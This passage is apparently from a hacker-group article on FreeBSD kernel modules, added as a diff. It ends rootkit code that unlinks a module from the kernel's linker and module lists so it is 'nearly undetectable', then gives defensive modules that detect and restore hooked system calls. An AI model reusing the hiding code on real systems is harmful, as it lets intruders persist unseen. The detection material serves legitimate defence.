+ /*NOTE : The first linker file is the current kernel image (/kernel for
+ example). If we load our module we will increase the reference cound
+ of the kernel link file, this might be a bit suspect, so we must
+ patch this.*/
+
+ (&files)->tqh_first->refs--;
+ for (lf=(&files)->tqh_first; lf; lf=(lf)->link.tqe_next) {
+
+ if (!strcmp(lf->filename, "hide.ko"))
+ {
+ /*first let's decrement the global link file counter*/
+ next_file_id--;
+ /*now let's remove the entry*/
+ if (((lf)->link.tqe_next)!=NULL)
+
+ (lf)->link.tqe_next->link.tqe_prev=(lf)->link.tqe_prev;
+ else
+ (&files)->tqh_last=(lf)->link.tqe_prev;
+ *(lf)->link.tqe_prev=(lf)->link.tqe_next;
+
+ break;
+ }
+ }
+ lockmgr(&lock, LK_RELEASE, 0, curproc);
+
+ for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link)) {
+ if(!strcmp(mod->name, "mysys"))
+ {
+ /*first let's patch the internal ID counter*/
+ nextid--;
+
+ TAILQ_REMOVE(&modules, mod, link);
+ }
+ }
+ return 0;
+}
+
+/*start everything*/
+/*This function only sets the field of X_module_data, where X stands for the
+kind of module; here SYSCALL_...*/
+SYSCALL_MODULE(mysys, &offset, &hello_sysent, load, NULL);
+</xmp>
+Load this module via kldload and wonder ;). You won't see anything. Even
+loading another module will seem totally normal, because the ID field is only
+incremented by 1 due to our modifications. After adding this hiding feature
+any module is also unremovable and neary undetectable.
+
+<p>
+<H3><A NAME="II.7."></A>7. Last Words</h3>
+<p>
+As I said in my introduction this part only showed those hacks that
+needed a total re-implementation on BSD compared to the Linux ones. Every other
+hack I presented in my Linux text, should also work; but it's too trivial to
+explain this here.<br>
+Of course, it's also possible to write some kind of FreeBSD virus. Perhaps I
+will work on this, but it's quite easy.
+
+<p>
+<H3><A NAME="III."></A>III. Securing the kernel</h3>
+<p>
+This part will only show you how to avoid some problems (not all) you as
+administrator could have with 'hacker' modules playing havoc with your system
+call table. My Linux text showed many ways how to fight against hostile modules
+with the help of some protection LKMs. I won't repeat those ideas. You can use
+all those modules on FreeBSD too, you only have to change the code a bit. This
+is why this part is quite short; I only describe some new ideas.
+
+<p>
+<H3><A NAME="III.1."></A>1. How to detect sysent[] modifications</h3>
+<p>
+Those of you common with kernel hacking know that nearly every module that
+does something useful for a hacker must modify the kernel system call table.
+[Note : As I said in my introduction there are lots of ways to attack FreeBSD
+without patching the system call table, but ... wait for a further release of
+this text :)] Those changes are needed to intercept and manipulate system
+calls. Of course there may also be some non-hacking modules that will change
+the global system call table (add a system call or so), but normally those
+driver modules (for example) don't change existing system calls. So we should
+implement some piece of code checking every system call entry on a system that
+is defined during startup for suspicious changes.
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <sys/lock.h>
+
+
+/*
+ * The function called at load/unload.
+ */
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ char error[400];
+ int counter;
+
+ bzero(&error, sizeof(error));
+
+ /*this is hard cut & paste coding :-)*/
+ if (sysent[SYS_exit].sy_call!=exit) error[SYS_exit]=1;
+ if (sysent[SYS_fork].sy_call!=fork) error[SYS_fork]=1;
+ if (sysent[SYS_read].sy_call!=read) error[SYS_read]=1;
+ if (sysent[SYS_write].sy_call!=write) error[SYS_write]=1;
+ if (sysent[SYS_open].sy_call!=open) error[SYS_open]=1;
+ if (sysent[SYS_close].sy_call!=close) error[SYS_close]=1;
+ if (sysent[SYS_wait4].sy_call!=wait4) error[SYS_wait4]=1;
+ if (sysent[SYS_link].sy_call!=link) error[SYS_link]=1;
+ if (sysent[SYS_unlink].sy_call!=unlink) error[SYS_unlink]=1;
+ if (sysent[SYS_chdir].sy_call!=chdir) error[SYS_chdir]=1;
+ if (sysent[SYS_fchdir].sy_call!=fchdir) error[SYS_fchdir]=1;
+ if (sysent[SYS_mknod].sy_call!=mknod) error[SYS_mknod]=1;
+ if (sysent[SYS_chmod].sy_call!=chmod) error[SYS_chmod]=1;
+ if (sysent[SYS_chown].sy_call!=chown) error[SYS_chown]=1;
+ if (sysent[SYS_break].sy_call!=obreak) error[SYS_break]=1;
+ if (sysent[SYS_getfsstat].sy_call!=getfsstat) error[SYS_getfsstat]=1;
+ if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
+ if (sysent[SYS_getpid].sy_call!=getpid) error[SYS_getpid]=1;
+ if (sysent[SYS_mount].sy_call!=mount) error[SYS_mount]=1;
+ if (sysent[SYS_unmount].sy_call!=unmount) error[SYS_unmount]=1;
+ if (sysent[SYS_setuid].sy_call!=setuid) error[SYS_setuid]=1;
+ if (sysent[SYS_getuid].sy_call!=getuid) error[SYS_getuid]=1;
+ if (sysent[SYS_geteuid].sy_call!=geteuid) error[SYS_geteuid]=1;
+ if (sysent[SYS_ptrace].sy_call!=ptrace) error[SYS_ptrace]=1;
+ if (sysent[SYS_recvmsg].sy_call!=recvmsg) error[SYS_recvmsg]=1;
+ if (sysent[SYS_sendmsg].sy_call!=sendmsg) error[SYS_sendmsg]=1;
+ if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
+ if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
+ if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
+ if (sysent[SYS_getsockname].sy_call!=getsockname) error[SYS_getsockname]=1;
+ if (sysent[SYS_access].sy_call!=access) error[SYS_access]=1;
+ if (sysent[SYS_chflags].sy_call!=chflags) error[SYS_chflags]=1;
+ if (sysent[SYS_fchflags].sy_call!=fchflags) error[SYS_fchflags]=1;
+ if (sysent[SYS_sync].sy_call!=sync) error[SYS_sync]=1;
+ if (sysent[SYS_kill].sy_call!=kill) error[SYS_kill]=1;
+ if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
+ if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
+ if (sysent[SYS_dup].sy_call!=dup) error[SYS_dup]=1;
+ if (sysent[SYS_pipe].sy_call!=pipe) error[SYS_pipe]=1;
+ if (sysent[SYS_getegid].sy_call!=getegid) error[SYS_getegid]=1;
+ if (sysent[SYS_profil].sy_call!=profil) error[SYS_profil]=1;
+ if (sysent[SYS_ktrace].sy_call!=ktrace) error[SYS_ktrace]=1;
+ if (sysent[SYS_sigaction].sy_call!=sigaction) error[SYS_sigaction]=1;
+ if (sysent[SYS_getgid].sy_call!=getgid) error[SYS_getgid]=1;
+ if (sysent[SYS_sigprocmask].sy_call!=sigprocmask) error[SYS_sigprocmask]=1;
+ if (sysent[SYS_getlogin].sy_call!=getlogin) error[SYS_getlogin]=1;
+ if (sysent[SYS_setlogin].sy_call!=setlogin) error[SYS_setlogin]=1;
+ if (sysent[SYS_acct].sy_call!=acct) error[SYS_acct]=1;
+ if (sysent[SYS_sigpending].sy_call!=sigpending) error[SYS_sigpending]=1;
+ if (sysent[SYS_sigaltstack].sy_call!=sigaltstack) error[SYS_sigaltstack]=1;
+ if (sysent[SYS_ioctl].sy_call!=ioctl) error[SYS_ioctl]=1;
+ if (sysent[SYS_reboot].sy_call!=reboot) error[SYS_reboot]=1;
+ if (sysent[SYS_revoke].sy_call!=revoke) error[SYS_revoke]=1;
+ if (sysent[SYS_symlink].sy_call!=symlink) error[SYS_symlink]=1;
+ if (sysent[SYS_readlink].sy_call!=readlink) error[SYS_readlink]=1;
+ if (sysent[SYS_execve].sy_call!=execve) error[SYS_execve]=1;
+ if (sysent[SYS_umask].sy_call!=umask) error[SYS_umask]=1;
+ if (sysent[SYS_chroot].sy_call!=chroot) error[SYS_chroot]=1;
+ if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
+ if (sysent[SYS_msync].sy_call!=msync) error[SYS_msync]=1;
+ if (sysent[SYS_vfork].sy_call!=vfork) error[SYS_vfork]=1;
+ if (sysent[SYS_sbrk].sy_call!=sbrk) error[SYS_sbrk]=1;
+ if (sysent[SYS_sstk].sy_call!=sstk) error[SYS_sstk]=1;
+ if (sysent[SYS_vadvise].sy_call!=ovadvise) error[SYS_vadvise]=1;
+ if (sysent[SYS_munmap].sy_call!=munmap) error[SYS_munmap]=1;
+ if (sysent[SYS_mprotect].sy_call!=mprotect) error[SYS_mprotect]=1;
+ if (sysent[SYS_madvise].sy_call!=madvise) error[SYS_madvise]=1;
+ if (sysent[SYS_mincore].sy_call!=mincore) error[SYS_mincore]=1;
+ if (sysent[SYS_getgroups].sy_call!=getgroups) error[SYS_getgroups]=1;
+ if (sysent[SYS_setgroups].sy_call!=setgroups) error[SYS_setgroups]=1;
+ if (sysent[SYS_getpgrp].sy_call!=getpgrp) error[SYS_getpgrp]=1;
+ if (sysent[SYS_setpgid].sy_call!=setpgid) error[SYS_setpgid]=1;
+ if (sysent[SYS_setitimer].sy_call!=setitimer) error[SYS_setitimer]=1;
+ if (sysent[SYS_swapon].sy_call!=swapon) error[SYS_swapon]=1;
+ if (sysent[SYS_getitimer].sy_call!=getitimer) error[SYS_getitimer]=1;
+ if (sysent[SYS_getdtablesize].sy_call!=getdtablesize)
+ error[SYS_getdtablesize]=1;
+ if (sysent[SYS_dup2].sy_call!=dup2) error[SYS_dup2]=1;
+ if (sysent[SYS_fcntl].sy_call!=fcntl) error[SYS_fcntl]=1;
+ if (sysent[SYS_select].sy_call!=select) error[SYS_select]=1;
+ if (sysent[SYS_fsync].sy_call!=fsync) error[SYS_fsync]=1;
+ if (sysent[SYS_setpriority].sy_call!=setpriority) error[SYS_setpriority]=1;
+ if (sysent[SYS_socket].sy_call!=socket) error[SYS_socket]=1;
+ if (sysent[SYS_connect].sy_call!=connect) error[SYS_connect]=1;
+ if (sysent[SYS_accept].sy_call!=accept) error[SYS_accept]=1;
+ if (sysent[SYS_getpriority].sy_call!=getpriority) error[SYS_getpriority]=1;
+ if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
+ if (sysent[SYS_bind].sy_call!=bind) error[SYS_bind]=1;
+ if (sysent[SYS_setsockopt].sy_call!=setsockopt) error[SYS_setsockopt]=1;
+ if (sysent[SYS_listen].sy_call!=listen) error[SYS_listen]=1;
+ if (sysent[SYS_gettimeofday].sy_call!=gettimeofday) error[SYS_gettimeofday]=1;
+ if (sysent[SYS_getrusage].sy_call!=getrusage) error[SYS_getrusage]=1;
+ if (sysent[SYS_getsockopt].sy_call!=getsockopt) error[SYS_getsockopt]=1;
+ if (sysent[SYS_sigreturn].sy_call!=sigreturn) error[SYS_sigreturn]=1;
+ if (sysent[SYS_readv].sy_call!=readv) error[SYS_readv]=1;
+ if (sysent[SYS_writev].sy_call!=writev) error[SYS_writev]=1;
+ if (sysent[SYS_settimeofday].sy_call!=settimeofday) error[SYS_settimeofday]=1;
+ if (sysent[SYS_fchown].sy_call!=fchown) error[SYS_fchown]=1;
+ if (sysent[SYS_fchmod].sy_call!=fchmod) error[SYS_fchmod]=1;
+ if (sysent[SYS_recvfrom].sy_call!=recvfrom) error[SYS_recvfrom]=1;
+ if (sysent[SYS_setreuid].sy_call!=setreuid) error[SYS_setreuid]=1;
+ if (sysent[SYS_setregid].sy_call!=setregid) error[SYS_setregid]=1;
+ if (sysent[SYS_rename].sy_call!=rename) error[SYS_rename]=1;
+ if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
+ if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
+ if (sysent[SYS_flock].sy_call!=flock) error[SYS_flock]=1;
+ if (sysent[SYS_mkfifo].sy_call!=mkfifo) error[SYS_mkfifo]=1;
+ if (sysent[SYS_sendto].sy_call!=sendto) error[SYS_sendto]=1;
+ if (sysent[SYS_shutdown].sy_call!=shutdown) error[SYS_shutdown]=1;
+ if (sysent[SYS_socketpair].sy_call!=socketpair) error[SYS_socketpair]=1;
+ if (sysent[SYS_mkdir].sy_call!=mkdir) error[SYS_mkdir]=1;
+ if (sysent[SYS_rmdir].sy_call!=rmdir) error[SYS_rmdir]=1;
+ if (sysent[SYS_utimes].sy_call!=utimes) error[SYS_utimes]=1;
+ if (sysent[SYS_adjtime].sy_call!=adjtime) error[SYS_adjtime]=1;
+ if (sysent[SYS_getpeername].sy_call!=getpeername) error[SYS_getpeername]=1;
+ if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
+ if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
+ if (sysent[SYS_quotactl].sy_call!=quotactl) error[SYS_quotactl]=1;
+ if (sysent[SYS_statfs].sy_call!=statfs) error[SYS_statfs]=1;
+ if (sysent[SYS_fstatfs].sy_call!=fstatfs) error[SYS_fstatfs]=1;
+ if (sysent[SYS_getdomainname].sy_call!=getdomainname)
+ error[SYS_getdomainname]=1;
+ if (sysent[SYS_setdomainname].sy_call!=setdomainname)
+ error[SYS_setdomainname]=1;
+ if (sysent[SYS_uname].sy_call!=uname) error[SYS_uname]=1;
+ if (sysent[SYS_sysarch].sy_call!=sysarch) error[SYS_sysarch]=1;
+ if (sysent[SYS_rtprio].sy_call!=rtprio) error[SYS_rtprio]=1;
+ if (sysent[SYS_semsys].sy_call!=semsys) error[SYS_semsys]=1;
+ if (sysent[SYS_msgsys].sy_call!=msgsys) error[SYS_msgsys]=1;
+ if (sysent[SYS_shmsys].sy_call!=shmsys) error[SYS_shmsys]=1;
+ if (sysent[SYS_setgid].sy_call!=setgid) error[SYS_setgid]=1;
+ if (sysent[SYS_setegid].sy_call!=setegid) error[SYS_setegid]=1;
+ if (sysent[SYS_seteuid].sy_call!=seteuid) error[SYS_seteuid]=1;
+ if (sysent[SYS_stat].sy_call!=stat) error[SYS_stat]=1;
+ if (sysent[SYS_fstat].sy_call!=fstat) error[SYS_fstat]=1;
+ if (sysent[SYS_lstat].sy_call!=lstat) error[SYS_lstat]=1;
+ if (sysent[SYS_pathconf].sy_call!=pathconf) error[SYS_pathconf]=1;
+ if (sysent[SYS_fpathconf].sy_call!=fpathconf) error[SYS_fpathconf]=1;
+ if (sysent[SYS_getrlimit].sy_call!=getrlimit) error[SYS_getrlimit]=1;
+ if (sysent[SYS_setrlimit].sy_call!=setrlimit) error[SYS_setrlimit]=1;
+ if (sysent[SYS_getdirentries].sy_call!=getdirentries)
+ error[SYS_getdirentries]=1;
+ if (sysent[SYS_mmap].sy_call!=mmap) error[SYS_mmap]=1;
+ if (sysent[SYS_lseek].sy_call!=lseek) error[SYS_lseek]=1;
+ if (sysent[SYS_truncate].sy_call!=truncate) error[SYS_truncate]=1;
+ if (sysent[SYS_ftruncate].sy_call!=ftruncate) error[SYS_ftruncate]=1;
+ if (sysent[SYS___sysctl].sy_call!=__sysctl) error[SYS___sysctl]=1;
+ if (sysent[SYS_mlock].sy_call!=mlock) error[SYS_mlock]=1;
+ if (sysent[SYS_munlock].sy_call!=munlock) error[SYS_munlock]=1;
+ if (sysent[SYS_undelete].sy_call!=undelete) error[SYS_undelete]=1;
+ if (sysent[SYS_futimes].sy_call!=futimes) error[SYS_futimes]=1;
+ if (sysent[SYS_getpgid].sy_call!=getpgid) error[SYS_getpgid]=1;
+ if (sysent[SYS_poll].sy_call!=poll) error[SYS_poll]=1;
+ if (sysent[SYS___semctl].sy_call!=__semctl) error[SYS___semctl]=1;
+ if (sysent[SYS_semget].sy_call!=semget) error[SYS_semget]=1;
+ if (sysent[SYS_semop].sy_call!=semop) error[SYS_semop]=1;
+ if (sysent[SYS_semconfig].sy_call!=semconfig) error[SYS_semconfig]=1;
+ if (sysent[SYS_msgctl].sy_call!=msgctl) error[SYS_msgctl]=1;
+ if (sysent[SYS_msgsnd].sy_call!=msgsnd) error[SYS_msgsnd]=1;
+ if (sysent[SYS_msgrcv].sy_call!=msgrcv) error[SYS_msgrcv]=1;
+ if (sysent[SYS_shmat].sy_call!=shmat) error[SYS_shmat]=1;
+ if (sysent[SYS_shmctl].sy_call!=shmctl) error[SYS_shmctl]=1;
+ if (sysent[SYS_shmdt].sy_call!=shmdt) error[SYS_shmdt]=1;
+ if (sysent[SYS_shmget].sy_call!=shmget) error[SYS_shmget]=1;
+ if (sysent[SYS_clock_gettime].sy_call!=clock_gettime)
+ error[SYS_clock_gettime]=1;
+ if (sysent[SYS_clock_settime].sy_call!=clock_settime)
+ error[SYS_clock_settime]=1;
+ if (sysent[SYS_clock_getres].sy_call!=clock_getres)
+ error[SYS_clock_getres]=1;
+ if (sysent[SYS_nanosleep].sy_call!=nanosleep) error[SYS_nanosleep]=1;
+ if (sysent[SYS_minherit].sy_call!=minherit) error[SYS_minherit]=1;
+ if (sysent[SYS_rfork].sy_call!=rfork) error[SYS_rfork]=1;
+ if (sysent[SYS_openbsd_poll].sy_call!=openbsd_poll)
+ error[SYS_openbsd_poll]=1;
+ if (sysent[SYS_issetugid].sy_call!=issetugid)
+ error[SYS_issetugid]=1;
+ if (sysent[SYS_lchown].sy_call!=lchown) error[SYS_lchown]=1;
+ if (sysent[SYS_getdents].sy_call!=getdents) error[SYS_getdents]=1;
+ if (sysent[SYS_lchmod].sy_call!=lchmod) error[SYS_lchmod]=1;
+ if (sysent[SYS_lutimes].sy_call!=lutimes) error[SYS_lutimes]=1;
+ if (sysent[SYS_modnext].sy_call!=modnext) error[SYS_modnext]=1;
+ if (sysent[SYS_modstat].sy_call!=modstat) error[SYS_modstat]=1;
+ if (sysent[SYS_modfnext].sy_call!=modfnext) error[SYS_modfnext]=1;
+ if (sysent[SYS_modfind].sy_call!=modfind) error[SYS_modfind]=1;
+ if (sysent[SYS_kldload].sy_call!=kldload) error[SYS_kldload]=1;
+ if (sysent[SYS_kldunload].sy_call!=kldunload) error[SYS_kldunload]=1;
+ if (sysent[SYS_kldfind].sy_call!=kldfind) error[SYS_kldfind]=1;
+ if (sysent[SYS_kldnext].sy_call!=kldnext) error[SYS_kldnext]=1;
+ if (sysent[SYS_kldstat].sy_call!=kldstat) error[SYS_kldstat]=1;
+ if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1;
+ if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1;
+ if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1;
+ if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1;
+ if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1;
+ if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1;
+ if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1;
+ if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1;
+ if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1;
+ if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1;
+ if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1;
+ if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1;
+ if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1;
+ if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1;
+ if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1;
+ if (sysent[SYS_sched_setparam].sy_call!=sched_setparam)
+ error[SYS_sched_setparam]=1;
+ if (sysent[SYS_sched_getparam].sy_call!=sched_getparam)
+ error[SYS_sched_getparam]=1;
+ if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler)
+ error[SYS_sched_setscheduler]=1;
+ if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler)
+ error[SYS_sched_getscheduler]=1;
+ if (sysent[SYS_sched_yield].sy_call!=sched_yield)
+ error[SYS_sched_yield]=1;
+ if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max)
+ error[SYS_sched_get_priority_max]=1;
+ if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min)
+ error[SYS_sched_get_priority_min]=1;
+ if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval)
+ error[SYS_sched_rr_get_interval]=1;
+ if (sysent[SYS_utrace].sy_call!=utrace)
+ error[SYS_utrace]=1;
+ if (sysent[SYS_sendfile].sy_call!=sendfile)
+ error[SYS_sendfile]=1;
+ if (sysent[SYS_kldsym].sy_call!=kldsym)
+ error[SYS_kldsym]=1;
+ printf("RESULTS : Modified System Calls \n\n");
+ printf("number new-addr\n");
+ printf("------ --------\n");
+ for (counter=0; counter <=399; counter++)
+ if (error[counter]==1)
+ printf("%d %p\n", counter, sysent[counter].sy_call);
+ return 0;
+}
+
+
+static moduledata_t syscall_mod = {
+ "SysentChecker",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+</xmp>
+Nice code, isn't it :). Well I did not have the time, to write a nice wrapper.
+So this is just the plain idea filled in a module. <br>
+The idea : Every system call entry (sysent) has a function member (sy_call) as
+you know. In order to modify or intercept a system call a hacker has to change
+this address pointing to his own function. So we only have to check these
+addreesses against the system functions (like write for the SYS_write system
+call) to check the system.<br>
+Average hackers will be stopped with this way of checking system
+integrity, gurus won't (you can insert code without changing the system call
+table, I'm working on this at the moment -> look for further releases).
+
+<p>
+<H3><A NAME="III.2."></A>2. How to restore old system calls</h3>
+<p>
+After detecting a changed system call table it is a good idea to restore the
+original one. <br>
+I dont't present you the best solution : Start a module on system startup,
+copy all sysent fields into another sysent array. If you want to restore every
+sysent just copy the saved list to the modified sysent list.
+
+<xmp>
+#include <sys/types.h>
+#include <sys/param.h>
+#include <sys/proc.h>
+#include <sys/module.h>
+#include <sys/sysent.h>
+#include <sys/kernel.h>
+#include <sys/systm.h>
+#include <sys/linker.h>
+#include <sys/sysproto.h>
+
+#include <sys/sysent.h>
+#include <sys/proc.h>
+#include <sys/syscall.h>
+#include <sys/file.h>
+#include <sys/malloc.h>
+#include <sys/types.h>
+#include <sys/lock.h>
+
+#define MAX_SYSCALL_NUM 337
+
+struct sysent save_sysent[MAX_SYSCALL_NUM];
+
+void restoresys(struct proc *p)
+{
+ int counter;
+ printf("RESTORE\n");
+ for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
+ sysent[counter]=save_sysent[counter];
+}
+
+
+static struct sysent restoresys_sysent = {
+ 0,
+ restoresys
+};
+
+/*
+ * The function called at load/unload.
+ */
+static int
+dummy_handler (struct module *module, int cmd, void *arg)
+{
+ int counter;
+ if (cmd==MOD_LOAD)
+ { for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
+ save_sysent[counter]=sysent[counter];
+ sysent[210]=restoresys_sysent;
+ }
+ return 0;
+}
+
+
+static moduledata_t syscall_mod = {
+ "SysentRestore",
+ dummy_handler,
+ NULL
+};
+
+DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
+</xmp>
+
+This module should be loaded at system startup (the best would be loading it
+before the first connect to the 'hostile' net). Of course, you should add
+hiding features to this module. This will also prevent hackers from easily
+manipulate your own sysent restore list.
+
+<p>
+<H3><A NAME="III.3."></A>3. General ideas for using MD5 Hashes </h3>
+<p>
+Ok the latter two sections explained how to detect and repair the damage any
+hostile module could do, but what about prevention.
+My Linux article used a passworded createmodule() system call. This time
+you could catch kldload() in order to check the module. Note : I'm not sure
+at the moment, but I think catching this system call is not enough, I think
+it's possible to load a module without the kldstuff; just an idea.<br>
+This time we could use a MD5 hash (digest). The function (macros) we need are
+explained in the MD5 man page (section 9). Take a look at those function and
+you'll recognize how easy it is to implement. These macros help us to get a
+digest on a module someone wants to load on our system. You only have to hard
+code some hashes into your kernel for checking the loaded ones. The rest
+should be clear.
+
+<p>
+<H3><A NAME="III.4."></A>4. How to see a hidden process</h3>
+<p>
+As I said in part I of this paper every process is saved in the allproc
+list which consists of lots of proc structure each holding one process running
+on the system. I also said that it's impossible to delete a process from thist
+list (scheduling, timing, etc.) so we patched the sysctl system call to hide a
+certain process. <br>
+This means that we could write some kernel code (module) which will print the
+whole allproc list including the process to hide. The code for this module
+was already shown in I.7.1.
+
+<p>
+<H3><A NAME="III.5."></A>5. Last words</h3>
+<p>
+Every idea mentioned in this part will stop most (!!) attacks on your system
+via kernel modules. Of course, you have to handle things like reboots etc. for
+making everything a bit more secure.<br>
+BUT any person who really knows the kernel and the system will easily work
+around those protections schemes... Bear in mind : It's always harder to
+secure a system than to hack it.
+
+<p>
+<H3><A NAME="IV."></A>IV. Last things to mention</h3>
+<p>
+<p>
+<H3><A NAME="IV.1."></A>1. What about OpenBSD and NetBSD</h3>
+<p>
+
+At the moment I have no running OpenBSD or NetBSD system, but I took a very
+brief look at the OpenBSD kernel. It uses the LKM scheme FreeBSD also used in
+former releases. The rest of the kernel is very similar to FreeBSD, so I think
+there should be no big problems porting the modules in this text to OpenBSD or
+NetBSD. THC will work on this, but I really can't tell when we are finished...
+
+<p>
+<H3><A NAME="IV.2."></A>2. Resources</h3>
+<p>
+<p>
+<b>[Internet]</b>
+<p>
+http://www.freebsd.org : everything you need<br>
+http://www.thc.org : THC Homepage (Linux LKM article and lots of more!)<br>
+<p>
+<p>
+<b>[books]</b>
+<p>
+'The Design and Implementation of the 4.4BSD Operating System' (Addison
+Wesley) : One of the best books I know, a bit old but still useful.
+
+<p>
+<H3><A NAME="IV.3."></A>3. Greetings</h3>
+<p>
+<i>groups</i> :<br>
+<b>THC, ADM, ech0, deep, CCC</b><br>
+<p>
+<i>personal</i> : <br>
+<b>van Hauser</b><br>
+-> thanks for the idea to write this article; and for answering lots of
+questions :)<br>
+<b>Stealth</b><br>
+-> I got your mails :) ext2 fs text is really nice<br>
+<b>mindmaniac</b><br>
+-> again a big thanks for starting the whole thing...<br>
+<b>Solar Designer</b><br>
+-> there's only one word for you : *ELITE*. The next release will deal with the
+other kernel stuff, perhaps I'll need some help ;)<br>
+<b>Aleph1</b><br>
+-> what would the world be without bugtraq<br>
+</BODY>
+</HTML>